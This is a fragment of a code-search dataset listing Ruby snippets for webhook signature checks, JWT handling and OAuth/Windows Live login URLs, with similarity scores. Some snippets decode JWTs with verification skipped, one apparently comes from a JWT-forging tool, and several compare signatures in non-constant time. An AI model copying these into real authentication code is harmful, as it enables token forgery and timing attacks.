"def validate_token(token)\n object_from_response(Code42::TokenValidation, :get, \"authToken/#{token.to_s}\")\n end",
"def verify_signature(url, params)\n submit VerifySignature.new(:url_end_point => url, :http_parameters => params)\n end",
"def validate\n token = jwt\n return unless token\n token.validate\n end",
"def parse_signed_request(value)\n signature, encoded_payload = value.split('.')\n\n decoded_hex_signature = base64_decode_url(signature)\n decoded_payload = ActiveSupport::JSON.decode(base64_decode_url(encoded_payload))\n\n unless decoded_payload['algorithm'] == 'HMAC-SHA256'\n raise NotImplementedError, \"unkown algorithm: #{decoded_payload['algorithm']}\"\n end\n\n if valid_signature?(@options[:secret], decoded_hex_signature, encoded_payload)\n decoded_payload.with_indifferent_access\n end\n end",
"def is_validate_signature\n signature = request.headers[\"X-LINE-Signature\"]\n http_request_body = request.raw_post\n hash = OpenSSL::HMAC::digest(OpenSSL::Digest::SHA256.new, CHANNEL_SECRET, http_request_body)\n signature_answer = Base64.strict_encode64(hash)\n signature == signature_answer\n end",
"def is_validate_signature\n signature = request.headers[\"X-LINE-Signature\"]\n http_request_body = request.raw_post\n hash = OpenSSL::HMAC::digest(OpenSSL::Digest::SHA256.new, CHANNEL_SECRET, http_request_body)\n signature_answer = Base64.strict_encode64(hash)\n signature == signature_answer\n end",
"def verify_webhook_signature\n their_signature_header = request.env['HTTP_X_GEOTIX_SIGNATURE'] || 'sha1='\n method, their_digest = their_signature_header.split('=')\n our_digest = OpenSSL::HMAC.hexdigest(method, WEBHOOK_SECRET, \"#{auth_token}#{@payload_raw}\")\n halt [401, \"Signatures don't match.\"] unless their_digest == our_digest\n end",
"def verify_signature\n #puts \"sing in params: #{@params[\"sign\"]}\" unless @params[\"sign\"] == Alipay.generate_signature(@params, @key)\n #puts Alipay.generate_signature(@params, @key)\n @params[\"sign\"] == Tenpay.generate_signature(@params, @key) #.tap{|sig| puts \"Generated sig #{sig}\"}\n end",
"def verify_signature(params = {})\n version = params[:version]\n webhook_secret = params[:webhook_secret]\n stringified_data = params[:stringified_data]\n request_timestamp = params[:request_timestamp]\n signature = params[:signature]\n\n signature_params = \"#{request_timestamp}.#{version}.#{stringified_data}\"\n digest = OpenSSL::Digest.new('sha256')\n signature_to_be_verified = OpenSSL::HMAC.hexdigest(digest, webhook_secret, signature_params)\n\n signature == signature_to_be_verified\n\n end",
"def verify_compact_signature(signature, hash)\n raise BTCError, \"Not implemented\"\n end",
"def verify_signature(signature, bytes, signer_public_key)\n signature = Validation.check_filled_array_argument!(signature)\n bytes = Validation.check_filled_array_argument!(bytes)\n signer_public_key = Validation.check_type_argument!(VirgilPublicKey, signer_public_key)\n\n begin\n native_algorithm = HashAlgorithm.convert_to_native(HashAlgorithm::SHA512)\n signer = Core::VirgilSigner.new(native_algorithm)\n signer.verify(bytes, signature, signer_public_key.raw_key)\n rescue StandardError => error\n raise VirgilCryptoException, error.message\n end\n\n end",
"def signToken(token)\n if (@signkey.nil? or @signkey.empty?)\n fatal(\"Error: signToken: Secret key was not set. Aborting.\")\n end\n begin\n digest = OpenSSL::Digest::SHA256.new\n return OpenSSL::HMAC.digest(digest, @signkey, token)\n rescue Exception => e\n debug(\"Error: signToken: Signing failed: #{token}, #{e}\")\n return\n end\n end",
"def verify_signatures?; end",
"def verify_signature(signature, signed_text, base64_encoded=true)\n sig = base64_encoded ? Base64UrlSafe.decode(signature) : signature\n self.public_key.verify(OpenSSL::Digest::SHA256.new, sig, signed_text)\n end",
"def verify(*args, **options)\n verified(*args, **options) || raise(InvalidSignature)\n end",
"def valid_signature?\n params['verifier'] == Digest::MD5.hexdigest([ params['id'], params['snuid'], params['currency'], Offerpal.secret_key ].join(':'))\n end",
"def verify_signature(payload_body)\n signature = 'sha1=' + OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('sha1'), SECRET_TOKEN, payload_body)\n return halt 500, \"Signatures didn't match!\" unless Rack::Utils.secure_compare(signature, request.env['HTTP_X_HUB_SIGNATURE'])\n end",
"def verify_signature(payload_body)\n signature = 'sha1=' + OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('sha1'), SECRET_TOKEN, payload_body)\n return halt 500, \"Signatures didn't match!\" unless Rack::Utils.secure_compare(signature, request.env['HTTP_X_HUB_SIGNATURE'])\n end",
"def validate_token_hash\n if @token_request_at and\n @token_hash and @token_hash['expires_in'] and\n (Time.now - @token_request_at) > @token_hash['expires_in'].to_i\n @token_hash = nil\n elsif @token_request_at and\n @token_hash and @token_hash['expires_in']\n @token_hash['access_token']\n else\n puts \"start get token ...\"\n end\n end",
"def decode_token(token, pub_key)\n begin\n decoded_payload, decoded_header = JWT.decode token, pub_key, true, { :algorithm => 'RS256' }\n return true\n rescue JWT::DecodeError\n puts 'Decode token: DecodeError'\n return false\n rescue JWT::ExpiredSignature\n puts 'Decode token: ExpiredSignature'\n return false\n rescue JWT::InvalidIssuerError\n puts 'Decode token: InvalidIssuerError'\n return false\n rescue JWT::InvalidIatError\n puts 'Decode token: InvalidIatError'\n return false\n end\nend",
"def parse(token)\n jwt = JSON::JWT.decode(token, :skip_verification)\n @header = jwt.header\n @payload = jwt.to_h\n @signature = jwt.signature\n @alg = @header[\"alg\"]\n @typ = @header[\"typ\"]\n @cty = @header[\"cty\"]\n @kid = @header[\"kid\"]\n @jku = @header[\"jku\"]\n @iat = @payload[\"iat\"]\n self\n rescue JSON::JWT::InvalidFormat => e\n print_error e.message\n puts token\n exit!\n rescue Exception => e\n puts e.full_message\n end",
"def check_signature\n signature == \"\\x2a\\x2a\\x00\\x00\"\n end",
"def signature_valid?\n hmac.validate_url_signature(request.url, secret)\n end",
"def validate(url, params, signature)\r\n params_hash = params.to_unsafe_h\r\n expected = build_signature_for(url, params_hash)\r\n ActiveSupport::SecurityUtils.secure_compare(expected, signature)\r\n end",
"def parse_signature(signature)\n # return signature.shift, signature.shift\n [signature.shift, signature.shift]\n end",
"def check(params)\n params = params.dup\n\n signature = params.delete('sig')\n\n ::JWT::SecurityUtils.secure_compare(signature, digest(params))\n end",
"def sign(bare_token)\n signature = Base64.encode64(HMAC::SHA256.new(Base64.decode64(self.shared_secret)).update(bare_token.toutf8).digest).strip\n end",
"def signature_is_valid?(env)\n return true if html_request?(env)\n\n # grab and compute the X-AUTH-SIG\n signature_sent = env[\"HTTP_X_AUTH_SIG\"]\n actual_signature = compute_signature(env)\n\n # are they the same?\n signature_sent.to_s == actual_signature.to_s\n end",
"def find_by_token_for!(purpose, token)\n token_definitions.fetch(purpose).resolve_token(token) { |id| find(id) } ||\n (raise ActiveSupport::MessageVerifier::InvalidSignature)\n end",
"def auth_mailgun(timestamp, token, signature)\n api_key = MAILGUN_API_KEY\n\n hexdigest = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::Digest.new('SHA256'), api_key, [timestamp, token].join)\n hexdigest.eql?(signature) or false\n end",
"def decode_jwt_no_sig_check(token)\n JWT.decode(token, nil, false).first\n end",
"def decode(token)\n JWT.decode(token, private_key.public_key, true, { algorithm: ALGORITHM })\n rescue JWT::VerificationError => e\n # TODO: handle bad token\n rescue JWT::ExpiredSignature => e\n # TODO: handle expired token\n rescue\n nil\n end",
"def valid_signature?(params)\n (Time.at(params['ts'].to_i) > 30.minutes.ago) &&\n params['sig'] == signed_request_params(params['ts'])['sig']\n end",
"def verify!(config, params)\n sent_signature = params.find { |key, _value| key.to_s.casecmp('BRQ_SIGNATURE').zero? }&.last\n generated_signature = Signature.generate(config, params)\n\n if sent_signature.nil? || generated_signature.nil? || !safe_equals?(sent_signature, generated_signature)\n raise SignatureException.new(sent_signature, generated_signature)\n end\n end",
"def verify\n @sigs = []\n @orig_data = request.params['data']\n if @orig_data.nil?\n # XXX: Implement HTTP error here.\n end\n begin\n GPGME::verify(request.params['data'], nil, @plain) do |signature|\n @sigs << signature\n end\n rescue GPGME::Error => e\n @error = \"GPGME Error: #{e.to_s}\"\n #rescue\n # @error = \"Unspecified Error.\"\n end\n end",
"def verify_signature(result) # :nodoc:\n response = build_signature_buffer(result)\n\n hash = digester.digest(response.to_s)\n\n server_key = result[:server_key]\n server_sig = result[:server_sig]\n unless connection.host_key_verifier.verify_signature { server_key.ssh_do_verify(server_sig, hash, host_key: algorithms.host_key) }\n raise Net::SSH::Exception, 'could not verify server signature'\n end\n\n hash\n end",
"def validate_token(opts = {})\n data, _status_code, _headers = validate_token_with_http_info(opts)\n data\n end",
"def signature\n # Remove 'sha_sign' key from request params and concatenate all\n # key value pairs\n params = payload.to_h\n .reject { |key, value| key == :sha_sign }\n .reject { |key, value| value == '' || value == false }.sort\n .map { | key, value| \"#{key}=#{value}#{passphrase}\" }.join\n\n # Calculate SHA512 and upcase all letters, since Digistore will\n # also return upcased letters in the signature.\n Digest::SHA512.hexdigest(params).upcase\n end",
"def verify_signature\n #puts \"sing in params: #{@params[\"sign\"]}\" unless @params[\"sign\"] == Alipay.generate_signature(@params, @key)\n #puts Alipay.generate_signature(@params, @key)\n @params[\"sign\"] == Alipay.generate_signature(@params, @key)\n end",
"def check_signature(body)\n received_signature = request.env['HTTP_X_HUB_SIGNATURE'] || ''\n signature = 'sha1=' + hmac_sha1(settings.github_secret, body)\n\n if !Rack::Utils.secure_compare(signature, received_signature)\n build_failed('signature mismatch')\n end\nend",
"def verify_webhook_signature\n their_signature_header = request.env['HTTP_X_HUB_SIGNATURE'] || 'sha1='\n method, their_digest = their_signature_header.split('=')\n our_digest = OpenSSL::HMAC.hexdigest(method, ENV['GITHUB_WEBHOOK_SECRET'], @payload_raw)\n halt 401 unless their_digest == our_digest\n\n log_action\n end",
"def verify(token, is_emulator: false)\n payload = decode(token, is_emulator).first\n sub = payload[\"sub\"]\n raise JWT::InvalidSubError, \"Invalid subject.\" unless sub.is_a?(String) && !sub.empty?\n payload[\"uid\"] = sub\n payload\n rescue JWT::ExpiredSignature => e\n raise expired_error, e.message\n rescue JWT::DecodeError => e\n raise invalid_error, e.message\n end",
"def check_signature!\n request.body.rewind\n payload_raw = request.body.read # We need the raw text of the body to check the webhook signature\n begin\n @payload = JSON.parse payload_raw\n rescue\n @payload = {}\n end\n\n # Check X-Hub-Signature to confirm that this webhook was generated by GitHub, and not a malicious third party.\n # The way this works is: We have registered with GitHub a secret, and we have stored it locally in WEBHOOK_SECRET.\n # GitHub will cryptographically sign the request payload with this secret. We will do the same, and if the results\n # match, then we know that the request is from GitHub (or, at least, from someone who knows the secret!)\n # If they don't match, this request is an attack, and we should reject it.\n # The signature comes in with header x-hub-signature, and looks like \"sha1=123456\"\n # We should take the left hand side as the signature method, and the right hand side as the\n # HMAC digest (the signature) itself.\n their_signature_header = request.env['HTTP_X_HUB_SIGNATURE'] || 'sha1='\n method, their_digest = their_signature_header.split('=')\n our_digest = OpenSSL::HMAC.hexdigest(method, WEBHOOK_SECRET, payload_raw)\n halt 401 unless their_digest == our_digest\n @payload\n end",
"def signature\n @signature ||= Current.request.headers['X-Slack-Signature']\n end",
"def verify_header\n # normal header like sample ==> Authorization 'ddd$$%gggrghHFDSS.HHJHTTGGR'\n if headers['Authorization'].present?\n headers['Authorization'].split(' ').last\n else\n errors.add(:token, 'Missing Token')\n nil\n end\n end",
"def parse(token=@token)\n is_token?(token)\n _token = token.split('.')\n @header = JSON.parse(decode(_token[0]))\n @type, @alg = @header['typ'], @header['alg']\n @payload = JSON.parse(decode(_token[1]))\n @signature = decode(_token[2]) unless (_token[2].nil? or _token[2].empty?)\n set_hash_and_json\n end",
"def validate_signature(test_doc = nil)\n test_doc ||= @prepared_doc\n\n doc_signature = get_document_tag :esigncode, from: test_doc\n doc_salt = get_document_tag :esignuniquecode, from: test_doc\n validate_prepared_doc_digest test_doc\n\n new_pdd = prepared_doc_digest(from: test_doc)\n new_signature = Hashing.sign_with(doc_salt, new_pdd)\n raise ESignatureUserError, 'Document signature is invalid' unless doc_signature == new_signature\n\n true\n end",
"def generate_token\n begin\n @header = JSON.parse(@header) unless @header.is_a?(Hash)\n @payload = JSON.parse(@payload) unless @payload.is_a?(Hash)\n @alg = @header['alg'] if @alg.nil? # if algorithm not forced, take if from the header\n\n header_encoded = encode(@header.to_json)\n payload_encoded = encode(@payload.to_json)\n data = \"#{header_encoded}.#{payload_encoded}\"\n signature_encoded = encode(generate_sig(data, @alg, @key).signature)\n token = [header_encoded, payload_encoded, signature_encoded].join('.')\n\n set_hash_and_json\n token\n rescue JSON::ParserError => e\n puts '[x] '.red + \"Invalid JSON: #{e.message}\"\n puts \"[!] \".yellow + \"Make sure you've single quoted your input: eg. --header #{\"'\".bold}{\\\"type\\\":\\\"JWT\\\",\\\"alg\\\":\\\"HS256\\\"}#{\"'\".bold}\"\n exit!\n rescue Exception => e\n puts \"[x] \".red + \"Unknown Exception: generate_sig\"\n puts '[!] '.yellow + 'Please report the issue at: https://github.com/KINGSABRI/jwtear/issues'.underline\n puts e\n puts e.backtrace\n end\n end",
"def signature\n @signature ||= Base64.encode64(digest).gsub(\"\\n\", '')\n end",
"def valid_signature?(signature, data)\n generate_signature(data) == signature\n end",
"def valid? headers, params\n timestamp = get_timestamp headers\n\n message = create_message params[\"token\"], params[\"trx_id\"], params[\"monto\"], timestamp\n authorization = Authorization.new(@env)\n signature = authorization.sign(message)\n signature == pp_signature(headers)\n\n end",
"def check_signature(secret)\n digest = OpenSSL::Digest::SHA256.new\n expected = OpenSSL::HMAC.hexdigest(digest, secret, @body)\n if @signature == expected\n return true\n else\n Pusher.logger.warn \"Received WebHook with invalid signature: got #{@signature}, expected #{expected}\"\n return false\n end\n end",
"def parse_signature(code)\n sig = strip_comments(code)\n\n sig.gsub!(/^\\s*\\#.*(\\\\\\n.*)*/, '') # strip preprocessor directives\n sig.gsub!(/\\s*\\{.*/m, '') # strip function body\n sig.gsub!(/\\s+/, ' ') # clean and collapse whitespace\n sig.gsub!(/\\s*\\*\\s*/, ' * ') # clean pointers\n sig.gsub!(/\\s*const\\s*/, '') # remove const\n sig.strip!\n\n whole, return_type, function_name, arg_string = sig.match(/(.*?(?:\\ \\*)?)\\s*(\\w+)\\s*\\(([^)]*)\\)/).to_a\n\n raise SyntaxError, \"cannot parse signature: #{sig}\" unless whole\n\n args = arg_string.split(',').map {|arg|\n # helps normalize into 'char * varname' form\n arg = arg.gsub(/\\s*\\*\\s*/, ' * ').strip\n\n whole, type = arg.gsub(/\\s*\\*\\s*/, ' * ').strip.match(/(((.*?(?:\\ \\*)?)\\s*\\*?)+)\\s+(\\w+)\\s*$/).to_a\n\n type\n }\n\n Signature.new(return_type, function_name, args, args.empty? ? -1 : args.length)\n end",
"def validate_proxy\n\t\t\t# Remove and save the \"signature\" entry\n\t\t\tsignature = @query.delete(\"signature\")\n\t\t\tsorted_params = @query.collect{ |k, v| \"#{k}=#{Array(v).join(',')}\" }.sort.join\n\t\t\t\n\t\t\tcalculated_signature = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('sha256'), shared_secret, sorted_params)\n\n\t\t\traise 'Invalid signature' if signature != calculated_signature\n\t\tend",
"def parse_response(response)\n signature = Signature.new\n signature.image = response[:letter] && Base64.decode64(response[:letter])\n signature\n end",
"def signature_ok?(timestamp)\n slack_signature = request.headers['X-Slack-Signature']\n signature = Slack::Utils.signature(\n SLACK_SIGNING_SECRET, timestamp, request.raw_post\n )\n\n return unless slack_signature != signature\n\n raise Unauthorized, \"ERROR: you're not Slack (wrong signature)\"\n end",
"def has_signature?\n auth_info.include? \"signature\"\n end",
"def verify(signed_data, signature)\n sig_algo, raw_sig, _ = Encoding.decode_signature(signature)\n digest = ALGO_DIGESTS[sig_algo]\n\n if digest.nil?\n raise DecodeError, \"bad signature algorithm: #{sig_algo.inspect}\"\n end\n\n # OpenSSH compatibility: if a the number of bytes in the signature is less than the number of bytes of the RSA\n # modulus, prepend the signature with zeros.\n # See https://github.com/openssh/openssh-portable/blob/ac383f3a5c6f529a2e8a5bc44af79a08c7da294e/ssh-rsa.c#L531\n difference = n.num_bytes - raw_sig.bytesize\n raw_sig = \"\\0\" * difference + raw_sig if difference.positive?\n\n openssl.verify(digest.new, raw_sig, signed_data)\n end",
"def signature_key; end",
"def validate_sig(pkey,sig)\r\n\t\t\t\r\n\t\tend",
"def verify(payload, header, tolerance: nil)\n begin\n timestamp, signatures = get_timestamp_and_signatures(header)\n rescue StandardError\n raise InvalidSignature, \"Unable to extract timestamp and signatures from header\"\n end\n\n if signatures.empty?\n raise InvalidSignature, \"No signatures found with expected version #{@version}\"\n end\n\n expected_sig = generate(payload, timestamp)\n unless signatures.any? { |s| secure_compare(expected_sig, s) }\n raise InvalidSignature, \"No signatures found matching the expected signature for payload\"\n end\n\n if tolerance && timestamp < Time.now - tolerance\n raise InvalidSignature, \"Timestamp outside the tolerance zone (#{Time.at(timestamp)})\"\n end\n\n true\n end",
"def check_signature\n signature == \"ElfChnk\\x00\"\n end",
"def _verify\n unless (@_headers['x-allopass-response-signature'] || []).include?(@_signature)\n raise Allorails::ApiFalseResponseSignatureError\n end\n end",
"def verify(signed_data, signature)\n sig_algo, raw_sig, _ = Encoding.decode_signature(signature)\n digest = ALGO_DIGESTS[sig_algo]\n\n if digest.nil?\n raise DecodeError, \"bad signature algorithm: #{sig_algo.inspect}\"\n end\n\n openssl.verify(digest.new, raw_sig, signed_data)\n end",
"def verify_signature(payload_body)\n signature = 'sha1=' + OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('sha1'), ENV['WEBHOOK_SECRET_TOKEN'], payload_body)\n return halt 500, \"Signatures didn't match!\" unless Rack::Utils.secure_compare(signature, request.env['HTTP_X_HUB_SIGNATURE'])\nend"
] |
[
"0.69256896",
"0.6737397",
"0.6732493",
"0.6550796",
"0.6527263",
"0.6522467",
"0.6494987",
"0.64163303",
"0.634485",
"0.63407254",
"0.6321816",
"0.6308899",
"0.6298884",
"0.6298884",
"0.6269522",
"0.62395346",
"0.62395346",
"0.6208952",
"0.6175401",
"0.61685306",
"0.61681896",
"0.61624056",
"0.61497563",
"0.6138045",
"0.611245",
"0.6108412",
"0.6095037",
"0.6065709",
"0.6030257",
"0.6028076",
"0.60132563",
"0.6007087",
"0.5993689",
"0.5983726",
"0.59695554",
"0.59597284",
"0.59540665",
"0.59466016",
"0.5936927",
"0.5911132",
"0.5911132",
"0.5909892",
"0.58577037",
"0.5855118",
"0.58434486",
"0.58158106",
"0.58123815",
"0.5811512",
"0.57696474",
"0.57687026",
"0.5767974",
"0.57675105",
"0.57648736",
"0.5762108",
"0.57593745",
"0.57559884",
"0.5747825",
"0.5740746",
"0.57322156",
"0.5712369",
"0.57090545",
"0.5708764",
"0.5685466",
"0.56630886",
"0.56458247",
"0.564409",
"0.5643748",
"0.5642436",
"0.561431",
"0.5612086",
"0.5611995",
"0.56060183",
"0.5600266",
"0.55909604",
"0.5590597",
"0.55883837",
"0.5587091",
"0.5585715",
"0.55815494",
"0.5575901",
"0.55737865",
"0.5568734",
"0.5561377",
"0.55289483",
"0.5518897",
"0.5514435",
"0.5513675",
"0.55105454",
"0.550841",
"0.55018806",
"0.5497741",
"0.5492315",
"0.54919696",
"0.54785055",
"0.5476401",
"0.5470387",
"0.5454786",
"0.5454433",
"0.54538107",
"0.5448172"
] |
0.772585
|
0
|
Returns a string that can be passed to the getTrustedParams function as the 'retcode' parameter. If this is specified as the 'retcode', the application will be used as return URL after it finishes trusted login.
|
def getAppRetCode
"appid=#{appid}"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def getTrustedLoginUrl\n secureurl + \"wlogin.srf\"\n end",
"def security_key\n params['RETURN_AUTHCODE']\n end",
"def getTrustedParams(user, retcode=nil)\n token = getTrustedToken(user)\n return unless token\n token = %{<wst:RequestSecurityTokenResponse xmlns:wst=\"http://schemas.xmlsoap.org/ws/2005/02/trust\"><wst:RequestedSecurityToken><wsse:BinarySecurityToken xmlns:wsse=\"http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd\">#{token}</wsse:BinarySecurityToken></wst:RequestedSecurityToken><wsp:AppliesTo xmlns:wsp=\"http://schemas.xmlsoap.org/ws/2004/09/policy\"><wsa:EndpointReference xmlns:wsa=\"http://schemas.xmlsoap.org/ws/2004/08/addressing\"><wsa:Address>uri:WindowsLiveID</wsa:Address></wsa:EndpointReference></wsp:AppliesTo></wst:RequestSecurityTokenResponse>}\n params = {}\n params['wa'] = securityalgorithm\n params['wresult'] = token\n params['wctx'] = retcode if retcode\n params\n end",
"def get_request_auth_code_url\n URI.encode(\"https://#{@subdomain}.zendesk.com/oauth/authorizations/new?response_type=code&redirect_uri=#{@redirect_uri}/&client_id=#{@unique}&scope=read%20write\")\n end",
"def login_url(state, scope = nil)\n data = { \"response_type\" => \"code\", \"client_id\" => @client_id, \"state\" => state }\n data[\"redirect_uri\"] = @redirect_uri unless @redirect_uri.nil?\n data[\"scope\"] = scope unless scope.nil?\n return \"https://#{API_ENDPOINT}/auth/code?\" + URI.encode_www_form(data) \n end",
"def build_code_url(params={})\n url = URI::HTTPS.build(:host => host,\n :path => authorize_path,\n :query => encoded_body(params))\n url.to_s\n end",
"def login_url(state, scope = nil)\n data = { \"response_type\" => \"code\", \"client_id\" => @client_id, \"state\" => state }\n data[\"redirect_uri\"] = @redirect_uri unless @redirect_uri.nil?\n data[\"scope\"] = scope unless scope.nil?\n return \"https://#{$api_endpoint}/auth/code?\" + URI.encode_www_form(data)\n end",
"def get_authurl\n\t\tlogger.debug \"D, #{__method__.to_s}\"\n\t\tparams = {\n \"client_id\" => @client_id,\n \"response_type\" => \"code\",\n \"redirect_uri\" => @redirect_uri,\n \"prompt\" => \"consent\"\n }\n auth_uri = URI::Generic.new(\"https\", nil, @auth_url, nil, nil, \"authorize\", \n \t\t\t\t\t\t\t nil, nil, nil)\n auth_uri.query = URI.encode_www_form(params)\n logger.debug \"D, #{__method__.to_s}, #{auth_uri.to_s}\"\n return auth_uri.to_s\n\tend",
"def getAuthUrl\n\t\t\t\tURI::HTTP.build(\n\t\t\t\t\t:host => @options['auth_host'],\n\t\t\t\t\t:path => @options['auth_page'],\n\t\t\t\t\t:query => {\n\t\t\t\t\t\t:client_id => @options['client_id'],\n\t\t\t\t\t\t:scope => @options['scope'],\n\t\t\t\t\t\t:response_type => \"code\",\n\t\t\t\t\t\t:redirect_uri => @options['redirect_uri'],\n\t\t\t\t\t}.to_query\n\t\t\t\t).to_s\n\t\t\tend",
"def auth_code\n unescape params['x_auth_code']\n end",
"def get_auth_url\n\t\tURI::HTTP.build(\n\t\t\t:host => @options['auth_host'],\n\t\t\t:path => @options['auth_page'],\n\t\t\t:query => {\n\t\t\t\t:client_id => @options['client_id'],\n\t\t\t\t:scope => @options['scope'],\n\t\t\t\t:response_type => \"code\",\n\t\t\t\t:redirect_uri => @options['redirect_uri'],\n\t\t\t}.to_query\n\t\t).to_s\n\tend",
"def url\n PagSeguro.site_url(\"v2/authorization/request.jhtml?code=#{code}\") if code\n end",
"def get_auth_url\n\t\tURI::HTTPS.build(\n\t\t\t:host => @options['auth_host'],\n\t\t\t:path => @options['auth_page'],\n\t\t\t:query => {\n\t\t\t\t:client_id => @options['client_id'],\n\t\t\t\t:redirect_uri => @options['redirect_uri'],\n\t\t\t\t:response_type => \"code\",\n\t\t\t}.to_query\n\t\t).to_s\n\tend",
"def auth_code_url(options={})\n options = default_auth_code_url_options(options)\n\n if self.options[:raise_errors]\n check_redirect_uri!(options)\n end\n\n @redirect_uri = options[:redirect_uri]\n\n self.auth_code.authorize_url(options)\n end",
"def getLoginUrl(context=nil)\n url = baseurl + \"wlogin.srf?appid=#{appid}\"\n url += \"&alg=#{securityalgorithm}\"\n url += \"&appctx=#{CGI.escape(context)}\" if context\n url\n end",
"def build_code_url(params={})\n token.build_code_url(params)\n end",
"def oauth_url_token(code)\n # return \"#{$SETTINGS[:oauth_server_url_token]}?code=#{code}&grant_type=authorization_code&client_id=#{$SETTINGS[:oauth_client_id]}&client_secret=#{$SETTINGS[:oauth_client_secret]}&redirect_uri=#{oauth_redirect_uri}\" \n return \"#{$SETTINGS[:oauth_server_url_token]}?code=#{code}&client_id=#{$SETTINGS[:oauth_client_id]}&client_secret=#{$SETTINGS[:oauth_client_secret]}\" \n end",
"def post_code_result\n params['PostCodeResult']\n end",
"def authorize_url(params={})\n # response_type param included by default by using the OAuth 2.0\n # auth_code strategy\n # client_id param included automatically by the OAuth 2.0 gem\n params[:state] ||= state\n params[:redirect_uri] ||= \"http://localhost\"\n oauth2_client.auth_code.authorize_url(params)\n rescue OAuth2::Error => e\n raise LinkedIn::Errors::UnauthorizedError.new(e.code), e.description\n end",
"def save_return_uri\n session[:_return_uri] = params[:return_uri] if whitelisted_return_uri?\n end",
"def token_url(code)\n params = { :client_id => @id,\n :client_secret => @secret,\n :redirect_uri => @redirect_url,\n :code => code }\n \"#{sk_url}/oauth/token?#{to_url_params(params)}\"\n end",
"def r_key_auth_code\n \"auth_code:#{telephone}\"\n end",
"def getTrustedToken(user)\n if user.nil? or user.empty?\n debug('Error: getTrustedToken: Null user specified.')\n return\n end\n token = \"appid=#{appid}&uid=#{CGI.escape(user)}&ts=#{timestamp}\"\n token += \"&sig=#{e64(signToken(token))}\"\n CGI.escape token\n end",
"def getTrustedLogoutUrl\n secureurl + \"logout.srf?appid=#{appid}\"\n end",
"def get_login_url\n client = OAuth2::Client.new(CLIENT_ID,\n CLIENT_SECRET,\n :site => 'https://login.microsoftonline.com',\n :authorize_url => '/common/oauth2/v2.0/authorize',\n :token_url => '/common/oauth2/v2.0/token')\n\n client.auth_code.authorize_url(:redirect_uri => REDIRECT_URI,\n :scope => SCOPES.join(' '))\n end",
"def string_to_sign\n \"GET\\n#{ENDPOINT}\\n#{REQUEST_URI}\\n#{canonical_query_string}\"\n end",
"def authorize_url\n @oauth_client.auth_code.authorize_url(:redirect_uri => @redirect_uri, :scope => site_url)\n end",
"def authentication_path(local_port: nil, invite_code: nil, expires_in: nil, remote: false)\n auth_url_params = {}\n if remote\n auth_url_params[:redirect_uri] = \"/code\"\n elsif local_port\n auth_url_params[:redirect_uri] = \"http://localhost:#{local_port}/cb\"\n else\n raise ArgumentError, \"Local port not defined and not performing remote login\"\n end\n auth_url_params[:invite_code] = invite_code if invite_code\n auth_url_params[:expires_in] = expires_in if expires_in\n \"/authenticate?#{URI.encode_www_form(auth_url_params)}\"\n end",
"def security_key\n params['callbackPW']\n end",
"def login_code\n self.login.login\n end",
"def string_to_sign\n [method, url.host, url.path, url.query].join \"\\n\"\n end",
"def validate_url(params={})\n url = controller.send(validate_url_name, \n :return_url => user_session_redirect_url(params[:return_url]))\n return url if params.blank?\n url << \"?\" if url.match('\\?').blank?\n params.each do |key, value|\n next if [:controller, :action, :return_url].include?(key)\n next if key.blank? or value.blank?\n url << \"&#{calling_system}_#{key}=#{CGI::escape(value)}\"\n end\n url\n end",
"def user_code_request_uri(redirect_uri, state, scopes)\n if scopes.empty?\n raise MxitApi::Exception.new(\"No scopes were provided.\")\n end\n\n # build parameters\n parameters = {\n :response_type => \"code\",\n :client_id => @client_id,\n :redirect_uri => redirect_uri,\n :state => state,\n :scope => scopes.join(' ')\n }\n\n path = MXIT_AUTH_CODE_URI + \"?#{URI.encode_www_form(parameters)}\"\n end",
"def get_auth_code()\n return @RESPONSE_HASH['AUTH_CODE']\n end",
"def app_scheme_url(key_id)\n return_uri = \"https://#{request.host}\"\n params = \"id=#{key_id}&r=#{return_uri}&n=#{$partner_id}\"\n s = OpenSSL::HMAC.hexdigest('SHA256', $hmac_secret, params)\n return \"#{$app_scheme}use-key?#{params}&s=#{s}\"\nend",
"def authorize_url(options = {})\n options[:response_type] ||= \"code\"\n options[:redirect_uri] ||= redirect_uri\n params = authorization_params.merge(options)\n uri = URI(\"#{base_url}/api/oauth2/auth/\")\n uri.query = URI.encode_www_form(params)\n uri.to_s\n end",
"def return_url\n \"http://#{MIFIRMA_HOST}/signatures/#{token}\"\n end",
"def authorize_url(params = {})\n super\n .tap { |result| __ext_debug(\"--> #{result.inspect}\") }\n end",
"def get_auth_url(use_callback_flow=true)\n raise 'To be implemented in child classes'\n end",
"def authentication_url(params={})\n @request_token.authorize_url params\n end",
"def oauth_url_authorize\n return \"#{$SETTINGS[:oauth_server_url_authorize]}?response_type=code&client_id=#{$SETTINGS[:oauth_client_id]}&scope=ALL&redirect_uri=#{oauth_redirect_uri}\" \n end",
"def link_to_trust_request(text, trust_url = \"http://#{request.host}/\", *args)\n trust_url = url_for(trust_url.merge(:only_path => false)) if trust_url.kind_of?(Hash)\n link_to_function text, \"CCPEVE.requestTrust(#{trust_url.inspect})\", *args\n end",
"def get_request_access_token_url\n URI.encode('https://'\"#{@subdomain}\"'.zendesk.com/oauth/tokens?grant_type=authorization_code&code='+ @code + '&client_id='+ @unique +'&client_secret='+ @secret +'&redirect_uri='\"#{@redirect_uri}\"'/&scope=read%20write')\n end",
"def request_code\n auth_response = auth_request\n action_url = parse_form_action(auth_response)\n cookies = auth_response.cookies\n redirect = send_form_with_code(action_url, cookies)\n parse_code(redirect)\n end",
"def get_login_url\n client = OAuth2::Client.new(CLIENT_ID,\n CLIENT_SECRET,\n :site => 'https://login.microsoftonline.com',\n :authorize_url => '/common/oauth2/v2.0/authorize',\n :token_url => '/common/oauth2/v2.0/token')\n\n login_url = client.auth_code.authorize_url(:redirect_uri => authorize_url, :scope => SCOPES.join(' '))\n end",
"def get_AuthorizationURL()\n \t return @outputs[\"AuthorizationURL\"]\n \tend",
"def get_AuthorizationURL()\n \t return @outputs[\"AuthorizationURL\"]\n \tend",
